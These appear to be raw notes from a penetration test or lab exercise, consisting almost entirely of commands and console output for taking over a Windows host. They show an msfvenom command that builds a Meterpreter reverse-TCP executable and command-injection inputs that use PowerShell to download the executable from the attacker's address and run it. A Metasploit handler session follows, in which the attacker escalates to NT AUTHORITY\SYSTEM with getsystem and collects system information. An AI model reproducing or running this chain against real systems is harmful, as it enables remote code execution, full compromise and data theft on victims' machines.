msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.51.200 LPORT=4444 -f exe > mshell.exe

google&powershell.exe $ProgressPreference = 'SilentlyContinue'; Invoke-WebRequest http://192.168.51.200/mshell.exe -OutFile c:\test\mshell.exe

google&c:\test\mshell.exe

msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.51.200:4444 

[*] Sending stage (200262 bytes) to 192.168.51.54
[*] Meterpreter session 3 opened (192.168.51.200:4444 -> 192.168.51.54:49800 ) at 2023-01-21 19:02:16 +0100

meterpreter > getuid
Server username: NT AUTHORITY\LOCAL SERVICE
meterpreter > getsystem 
...got system via technique 5 (Named Pipe Impersonation (PrintSpooler variant)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

meterpreter > sysinfo
Computer        : WIN-9493M3CRTDV
OS              : Windows 2016+ (10.0 Build 17763).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 1
Meterpreter     : x64/windows